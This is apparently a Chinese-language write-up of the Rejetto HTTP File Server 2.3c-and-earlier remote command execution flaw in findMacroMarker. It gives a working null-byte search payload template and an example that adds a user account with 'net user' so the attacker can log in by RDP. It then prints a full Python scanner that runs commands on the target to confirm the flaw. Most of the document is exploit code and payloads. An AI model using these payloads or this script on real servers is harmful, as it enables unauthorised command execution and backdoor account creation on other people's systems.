HFS的遠程命令執行漏洞（RCE）

一、HFS漏洞

1、影響版本 : 2.3c以前的2.3x版本

2、HFS：

HFS是HTTP File Server，國外的一款HTTP 文件服務器軟件，簡單易上手。

3、漏洞描述：

HTTP File Server是一款專為個人用戶所設計的HTTP文件服務器，它提供虛擬檔案系統，支持新增、移除虛擬檔案資料夾等。

Rejetto HTTP File Server 2.3c及之前版本中的parserLib.pas文件中的‘findMacroMarker’函數中存在安全漏洞，該漏洞源於parserLib.pas文件沒有正確處理空字節。遠程攻擊者可借助搜索操作中的‘%00’序列利用該漏洞執行任意程序。

4、攻擊payload及過程：

4.1 Payload：http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c [Command-String].}

4.2攻擊過程實例：

http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}

說明這個OK的前提是HFS以管理員權限運行： 

5、payload：

#-*- coding:utf-8 -*-

"""
這個腳本是檢測是否有HFS漏洞的
當HFS版本處於2.3c機器之前的HFS2.3x版本均可以
當HFS以管理員身份運行時候可以get-shell
原理是創建一個新用戶，設置密碼和權限，然后你就可以RDP了
"""

#引入依賴的包、庫文件
import time
import uuid
import requests
from optparse import OptionParser


#定義掃描類
class HFSScanner:
    """
        HFS掃描類，原理是：
            （1）生成隨機字符串，利用命令執行寫入遠端服務器的HFS.exe目錄下的一個文件。
            （2）然后再次利用這里漏洞將文件內容讀取出來放在響應報文的頭部字段set-cookie中。
            （3）通過判斷響應報文該字段是否包含隨機字符串來確定是否存在漏洞

    """
    def __init__(self,target,port):
        """創建掃描類實例對象"""
        self.__randomflag = uuid.uuid1() #攻擊驗證隨機標志字符串
        self.__attack_url = r"http://%s:%s/"%(str(target),str(port))+"?search==%00"+r"{.exec|cmd.exe /c del result}"+r"{"+".exec|cmd.exe /c echo>result "+str(self.__randomflag)+"."+"}"
        self.__verify_url = r"http://%s:%s/"%(str(target),str(port))+"?search==%00"+"{.cookie|out|value={.load|result.}.}"


    def __attack(self):
        """發送攻擊報文，響應200后反回True"""
        try:
            response = requests.get(self.__attack_url,timeout=120)
        except Exception,reason:
            return False
        if response.status_code != 200:
            return False
        return True

    def __verify(self):
        """發送驗證報文，判斷set-cookie字段是否為隨機標志字符串"""
        try:
            response = requests.get(self.__verify_url,timeout=120)
        except Exception,reason:
            return False
        if response.headers.get("set-cookie").find(str(self.__randomflag)) >= 0:
            return True
        else:
            return False

    def scan(self):
        """掃描函數"""
        print "[+] 開始測試..."
        if self.__attack():
            time.sleep(5)
            if self.__verify():
                return True
        return False

if __name__ == "__main__":
    parser = OptionParser("")
    parser.add_option("-t", dest="target",help="target to scan")
    parser.add_option("-p", dest="port",help="port to scan")
    (options, args) = parser.parse_args()
    if options.target in ["",None]:
        print "[-] 請輸入正確的參數!"
        print """
            正確的使用方法：
            #python hfs_vuln_scan.py -t 127.0.0.1 [-p 8080]
        """
        exit(0)
    if options.port in ["",None] or int(options.port) <= 0 and int(options.port) > 65535:
        options.port = "80"
    scanner = HFSScanner(options.target,options.port)
    if scanner.scan():
        print "[*] 目標主機存在漏洞"
    else:
        print "[+] 目標主機不存在漏洞"